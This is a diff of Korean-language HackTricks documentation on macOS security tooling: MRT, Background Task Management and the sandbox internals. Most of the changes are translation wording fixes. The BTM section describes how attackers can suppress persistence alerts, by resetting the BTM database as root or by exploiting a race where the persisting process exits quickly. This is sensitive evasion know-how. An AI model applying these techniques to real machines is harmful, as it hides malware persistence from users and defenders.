* **MRT**는 반응 도구입니다. 이는 시스템에서 맬웨어가 감지된 후 작동하며, 문제의 소프트웨어를 제거하여 시스템을 정리하는 것을 목표로 합니다.
|
||||
|
||||
MRT 애플리케이션은 **`/Library/Apple/System/Library/CoreServices/MRT.app`**에 위치합니다.
|
||||
|
||||
|
@ -78,9 +82,9 @@ MRT 애플리케이션은 **`/Library/Apple/System/Library/CoreServices/MRT.app`
|
|||
|
||||
이는 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd`에 위치한 **데몬**과 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`에 위치한 **에이전트**와 함께 실행됩니다.
|
||||
|
||||
**`backgroundtaskmanagementd`**가 지속적인 폴더에 설치된 무언가를 아는 방법은 **FSEvents를 가져오고** 이를 위한 **핸들러**를 생성하는 것입니다.
|
||||
**`backgroundtaskmanagementd`**가 지속적인 폴더에 설치된 것을 아는 방법은 **FSEvents를 가져오고** 이를 위한 **핸들러를 생성**하는 것입니다.
|
||||
|
||||
또한, 애플이 관리하는 **잘 알려진 애플리케이션**이 포함된 plist 파일이 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`에 위치합니다.
|
||||
또한, 애플이 관리하는 **잘 알려진 애플리케이션**을 포함하는 plist 파일이 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`에 위치합니다.
|
||||
```json
|
||||
[...]
|
||||
"us.zoom.ZoomDaemon" => {
|
||||
|
@ -116,7 +120,7 @@ xattr -rc dumpBTM # Remove quarantine attr
|
|||
|
||||
새로운 지속성이 발견되면 **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** 유형의 이벤트가 발생합니다. 따라서 이 **이벤트**가 전송되는 것을 **방지**하거나 **에이전트가 사용자에게 경고하는 것을 방지**하는 방법은 공격자가 BTM을 _**우회**_하는 데 도움이 됩니다.
|
||||
|
||||
* **데이터베이스 재설정**: 다음 명령을 실행하면 데이터베이스가 재설정됩니다(기초부터 다시 구축해야 함). 그러나 어떤 이유로 이 명령을 실행한 후에는 **시스템이 재부팅될 때까지 새로운 지속성이 경고되지 않습니다**.
|
||||
* **데이터베이스 재설정**: 다음 명령을 실행하면 데이터베이스가 재설정됩니다(기초부터 다시 구축해야 함). 그러나 어떤 이유로 인해, 이를 실행한 후에는 **시스템이 재부팅될 때까지 새로운 지속성이 경고되지 않습니다**.
|
||||
* **root**가 필요합니다.
|
||||
```bash
|
||||
# Reset the database
|
||||
|
@ -137,14 +141,15 @@ T
|
|||
```
|
||||
* **버그**: **지속성을 생성한 프로세스가 그 직후에 빠르게 존재하면**, 데몬은 그것에 대한 **정보를 얻으려고 시도하고**, **실패하며**, **새로운 것이 지속되고 있다는 이벤트를 보낼 수 없습니다**.
|
||||
|
||||
참조 및 **BTM에 대한 추가 정보**:
|
||||
BTM에 대한 참고자료 및 **추가 정보**:
|
||||
|
||||
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
||||
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
||||
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,4 +161,3 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
|
|
|
@ -32,7 +32,7 @@ MacOS Sandbox (초기에는 Seatbelt라고 불림) **는 샌드박스 내에서
|
|||
|
||||
### Containers
|
||||
|
||||
모든 샌드박스 애플리케이션은 `~/Library/Containers/{CFBundleIdentifier}`에 고유한 컨테이너를 가집니다:
|
||||
모든 샌드박스화된 애플리케이션은 `~/Library/Containers/{CFBundleIdentifier}`에 고유한 컨테이너를 가집니다:
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
|
@ -151,7 +151,7 @@ Sandboxed 애플리케이션에 의해 생성/수정된 모든 것은 **격리
|
|||
프로파일의 컴파일된 버전에서는 작업의 이름이 dylib와 kext에서 알려진 배열의 항목으로 대체되어 컴파일된 버전이 더 짧고 읽기 어렵게 됩니다.
|
||||
{% endhint %}
|
||||
|
||||
중요한 **시스템 서비스**는 `mdnsresponder` 서비스와 같은 자체 맞춤 **샌드박스** 내에서 실행됩니다. 이러한 맞춤 **샌드박스 프로파일**은 다음 위치에서 확인할 수 있습니다:
|
||||
중요한 **시스템 서비스**는 `mdnsresponder` 서비스와 같은 자체 맞춤 **샌드박스** 내에서 실행됩니다. 이러한 맞춤 **샌드박스 프로파일**은 다음에서 확인할 수 있습니다:
|
||||
|
||||
* **`/usr/share/sandbox`**
|
||||
* **`/System/Library/Sandbox/Profiles`**
|
||||
|
@ -228,9 +228,9 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
|
||||
### 샌드박스 추적
|
||||
|
||||
#### 프로필을 통한
|
||||
#### 프로파일을 통한
|
||||
|
||||
작업이 확인될 때마다 샌드박스가 수행하는 모든 검사를 추적할 수 있습니다. 이를 위해 다음 프로필을 생성하십시오:
|
||||
작업이 확인될 때마다 샌드박스가 수행하는 모든 검사를 추적할 수 있습니다. 이를 위해 다음 프로파일을 생성하십시오:
|
||||
|
||||
{% code title="trace.sb" %}
|
||||
```scheme
|
||||
|
@ -239,13 +239,13 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
그런 다음 해당 프로필을 사용하여 무언가를 실행하십시오:
|
||||
그런 다음 해당 프로필을 사용하여 무언가를 실행합니다:
|
||||
```bash
|
||||
sandbox-exec -f /tmp/trace.sb /bin/ls
|
||||
```
|
||||
In `/tmp/trace.out`에서는 호출될 때마다 수행된 각 샌드박스 검사를 볼 수 있습니다(즉, 많은 중복이 발생합니다).
|
||||
|
||||
**`-t`** 매개변수를 사용하여 샌드박스를 추적할 수도 있습니다: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
|
||||
**`-t`** 매개변수를 사용하여 샌드박스를 추적하는 것도 가능합니다: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
|
||||
|
||||
#### API를 통한 방법
|
||||
|
||||
|
@ -256,17 +256,17 @@ In `/tmp/trace.out`에서는 호출될 때마다 수행된 각 샌드박스 검
|
|||
|
||||
`libsandbox.dylib`는 프로세스의 샌드박스 상태 목록(확장 포함)을 제공하는 `sandbox_inspect_pid`라는 함수를 내보냅니다. 그러나 이 함수는 플랫폼 바이너리만 사용할 수 있습니다.
|
||||
|
||||
### MacOS 및 iOS 샌드박스 프로파일
|
||||
### MacOS 및 iOS 샌드박스 프로필
|
||||
|
||||
MacOS는 시스템 샌드박스 프로파일을 두 위치에 저장합니다: **/usr/share/sandbox/** 및 **/System/Library/Sandbox/Profiles**.
|
||||
MacOS는 시스템 샌드박스 프로필을 두 위치에 저장합니다: **/usr/share/sandbox/** 및 **/System/Library/Sandbox/Profiles**.
|
||||
|
||||
그리고 서드파티 애플리케이션이 _**com.apple.security.app-sandbox**_ 권한을 가지고 있다면, 시스템은 해당 프로세스에 **/System/Library/Sandbox/Profiles/application.sb** 프로파일을 적용합니다.
|
||||
그리고 서드파티 애플리케이션이 _**com.apple.security.app-sandbox**_ 권한을 가지고 있다면, 시스템은 해당 프로세스에 **/System/Library/Sandbox/Profiles/application.sb** 프로필을 적용합니다.
|
||||
|
||||
iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대해 허용/거부 이진 트리로 표현됩니다.
|
||||
iOS에서는 기본 프로필이 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대해 허용/거부 이진 트리로 표현됩니다.
|
||||
|
||||
### App Store 앱의 사용자 정의 SBPL
|
||||
|
||||
회사가 **사용자 정의 샌드박스 프로파일**로 앱을 실행할 수 있는 가능성이 있습니다(기본 프로파일 대신). 그들은 Apple의 승인이 필요한 **`com.apple.security.temporary-exception.sbpl`** 권한을 사용해야 합니다.
|
||||
회사가 **사용자 정의 샌드박스 프로필**로 앱을 실행할 수 있는 가능성이 있습니다(기본 프로필 대신). 그들은 Apple의 승인이 필요한 **`com.apple.security.temporary-exception.sbpl`** 권한을 사용해야 합니다.
|
||||
|
||||
이 권한의 정의는 **`/System/Library/Sandbox/Profiles/application.sb:`**에서 확인할 수 있습니다.
|
||||
```scheme
|
||||
|
@ -342,7 +342,7 @@ sbtool <pid> all
|
|||
|
||||
함수 `___sandbox_ms` 호출은 `mac_syscall`을 래핑하며 첫 번째 인수로 `"Sandbox"`를 나타냅니다. `___sandbox_msp`는 `mac_set_proc` (#387)의 래퍼입니다. 그런 다음 `___sandbox_ms`에서 지원되는 일부 코드는 다음 표에서 찾을 수 있습니다:
|
||||
|
||||
* **set\_profile (#0)**: 프로세스에 컴파일된 또는 명명된 프로파일을 적용합니다.
|
||||
* **set\_profile (#0)**: 프로세스에 컴파일된 또는 명명된 프로필을 적용합니다.
|
||||
* **platform\_policy (#1)**: 플랫폼별 정책 검사를 시행합니다 (macOS와 iOS 간에 다름).
|
||||
* **check\_sandbox (#2)**: 특정 샌드박스 작업의 수동 검사를 수행합니다.
|
||||
* **note (#3)**: 샌드박스에 주석을 추가합니다.
|
||||
|
@ -359,39 +359,39 @@ sbtool <pid> all
|
|||
* **container\_map (#14)**: (iOS 전용) `containermanagerd`에서 컨테이너 경로를 검색합니다.
|
||||
* **sandbox\_user\_state\_item\_buffer\_send (#15)**: (iOS 10+) 샌드박스에서 사용자 모드 메타데이터를 설정합니다.
|
||||
* **inspect (#16)**: 샌드박스화된 프로세스에 대한 디버그 정보를 제공합니다.
|
||||
* **dump (#18)**: (macOS 11) 분석을 위해 샌드박스의 현재 프로파일을 덤프합니다.
|
||||
* **vtrace (#19)**: 모니터링 또는 디버깅을 위한 샌드박스 작업을 추적합니다.
|
||||
* **builtin\_profile\_deactivate (#20)**: (macOS < 11) 명명된 프로파일을 비활성화합니다 (예: `pe_i_can_has_debugger`).
|
||||
* **dump (#18)**: (macOS 11) 분석을 위해 샌드박스의 현재 프로필을 덤프합니다.
|
||||
* **vtrace (#19)**: 모니터링 또는 디버깅을 위해 샌드박스 작업을 추적합니다.
|
||||
* **builtin\_profile\_deactivate (#20)**: (macOS < 11) 명명된 프로필을 비활성화합니다 (예: `pe_i_can_has_debugger`).
|
||||
* **check\_bulk (#21)**: 단일 호출에서 여러 `sandbox_check` 작업을 수행합니다.
|
||||
* **reference\_retain\_by\_audit\_token (#28)**: 샌드박스 검사에 사용할 감사 토큰에 대한 참조를 생성합니다.
|
||||
* **reference\_release (#29)**: 이전에 유지된 감사 토큰 참조를 해제합니다.
|
||||
* **rootless\_allows\_task\_for\_pid (#30)**: `task_for_pid`가 허용되는지 확인합니다 (유사한 `csr` 검사).
|
||||
* **rootless\_whitelist\_push (#31)**: (macOS) 시스템 무결성 보호(SIP) 매니페스트 파일을 적용합니다.
|
||||
* **rootless\_whitelist\_check (preflight) (#32)**: 실행 전에 SIP 매니페스트 파일을 검사합니다.
|
||||
* **rootless\_whitelist\_check (preflight) (#32)**: 실행 전에 SIP 매니페스트 파일을 확인합니다.
|
||||
* **rootless\_protected\_volume (#33)**: (macOS) 디스크 또는 파티션에 SIP 보호를 적용합니다.
|
||||
* **rootless\_mkdir\_protected (#34)**: 디렉토리 생성 프로세스에 SIP/DataVault 보호를 적용합니다.
|
||||
|
||||
## Sandbox.kext
|
||||
|
||||
iOS에서는 커널 확장이 **모든 프로파일을 하드코딩**하여 `__TEXT.__const` 세그먼트 내에 포함되어 수정되지 않도록 합니다. 다음은 커널 확장에서 흥미로운 몇 가지 함수입니다:
|
||||
iOS에서는 커널 확장이 **모든 프로필을 하드코딩**하여 `__TEXT.__const` 세그먼트 내에 포함되어 수정되지 않도록 합니다. 다음은 커널 확장에서 흥미로운 몇 가지 함수입니다:
|
||||
|
||||
* **`hook_policy_init`**: `mpo_policy_init`을 후킹하며 `mac_policy_register` 후에 호출됩니다. 샌드박스의 대부분 초기화를 수행합니다. SIP도 초기화합니다.
|
||||
* **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` 및 `security.mac.sandbox.debug_mode`를 등록하는 sysctl 인터페이스를 설정합니다 (PE_i_can_has_debugger로 부팅된 경우).
|
||||
* **`hook_policy_syscall`**: "Sandbox"를 첫 번째 인수로 하고 두 번째 인수로 작업을 나타내는 코드와 함께 `mac_syscall`에 의해 호출됩니다. 요청된 코드에 따라 실행할 코드를 찾기 위해 스위치를 사용합니다.
|
||||
* **`hook_policy_syscall`**: "Sandbox"를 첫 번째 인수로, 작업을 나타내는 코드를 두 번째 인수로 하여 `mac_syscall`에 의해 호출됩니다. 요청된 코드에 따라 실행할 코드를 찾기 위해 스위치를 사용합니다.
|
||||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`**는 MACF를 통해 백 개 이상의 후킹을 사용합니다. 대부분의 후킹은 작업을 수행할 수 있는 사소한 경우를 확인하며, 그렇지 않은 경우 **`cred_sb_evalutate`**를 호출하여 MACF의 **자격 증명**과 수행할 **작업**에 해당하는 숫자 및 출력용 **버퍼**를 전달합니다.
|
||||
**`Sandbox.kext`**는 MACF를 통해 백 개 이상의 후킹을 사용합니다. 대부분의 후킹은 사소한 경우를 확인하여 작업을 수행할 수 있도록 하며, 그렇지 않은 경우 **`cred_sb_evalutate`**를 호출하여 MACF의 **자격 증명**과 수행할 **작업**에 해당하는 숫자 및 **출력**을 위한 **버퍼**를 전달합니다.
|
||||
|
||||
그 좋은 예는 **`_mpo_file_check_mmap`** 함수로, **`mmap`**을 후킹하며 새로운 메모리가 쓰기 가능할지 확인한 후 (그렇지 않으면 실행을 허용하지 않음), dyld 공유 캐시에서 사용되는지 확인하고, 그렇다면 실행을 허용하며, 마지막으로 **`cred_sb_evalutate`**를 호출하여 추가 허용 검사를 수행합니다.
|
||||
그 좋은 예는 **`_mpo_file_check_mmap`** 함수로, **`mmap`**을 후킹하며 새로운 메모리가 쓰기 가능할지 확인한 후 (그렇지 않으면 실행을 허용하지 않음), dyld 공유 캐시에서 사용되는지 확인하고 그렇다면 실행을 허용하며, 마지막으로 **`sb_evaluate_internal`** (또는 그 래퍼 중 하나)을 호출하여 추가 허용 검사를 수행합니다.
|
||||
|
||||
게다가, 샌드박스가 사용하는 수백 개의 후킹 중에서 특히 흥미로운 세 가지가 있습니다:
|
||||
|
||||
* `mpo_proc_check_for`: 필요할 경우 프로파일을 적용하며, 이전에 적용되지 않은 경우에만 적용합니다.
|
||||
* `mpo_vnode_check_exec`: 프로세스가 관련 이진 파일을 로드할 때 호출되며, 프로파일 검사가 수행되고 SUID/SGID 실행을 금지하는 검사도 수행됩니다.
|
||||
* `mpo_proc_check_for`: 필요할 경우 프로필을 적용하며, 이전에 적용되지 않은 경우에만 적용합니다.
|
||||
* `mpo_vnode_check_exec`: 프로세스가 관련 이진 파일을 로드할 때 호출되며, 프로필 검사가 수행되고 SUID/SGID 실행을 금지하는 검사도 수행됩니다.
|
||||
* `mpo_cred_label_update_execve`: 레이블이 할당될 때 호출됩니다. 이 함수는 이진 파일이 완전히 로드되었지만 아직 실행되지 않았을 때 호출되므로 가장 긴 함수입니다. 샌드박스 객체를 생성하고, kauth 자격 증명에 샌드박스 구조체를 첨부하고, mach 포트에 대한 액세스를 제거하는 등의 작업을 수행합니다.
|
||||
|
||||
**`cred_sb_evalutate`**는 **`sb_evaluate`**의 래퍼이며, 이 함수는 전달된 자격 증명을 가져온 후 **`eval`** 함수를 사용하여 평가를 수행합니다. 이 함수는 일반적으로 모든 프로세스에 기본적으로 적용되는 **플랫폼 프로파일**을 평가한 다음 **특정 프로세스 프로파일**을 평가합니다. 플랫폼 프로파일은 macOS의 **SIP**의 주요 구성 요소 중 하나입니다.
|
||||
**`_cred_sb_evalutate`**는 **`sb_evaluate_internal`**의 래퍼이며, 이 함수는 전달된 자격 증명을 가져온 후 **`eval`** 함수를 사용하여 평가를 수행합니다. 이 함수는 일반적으로 모든 프로세스에 기본적으로 적용되는 **플랫폼 프로필**을 평가한 다음 **특정 프로세스 프로필**을 평가합니다. 플랫폼 프로필은 macOS의 **SIP**의 주요 구성 요소 중 하나입니다.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
|
|
Loading…
Reference in a new issue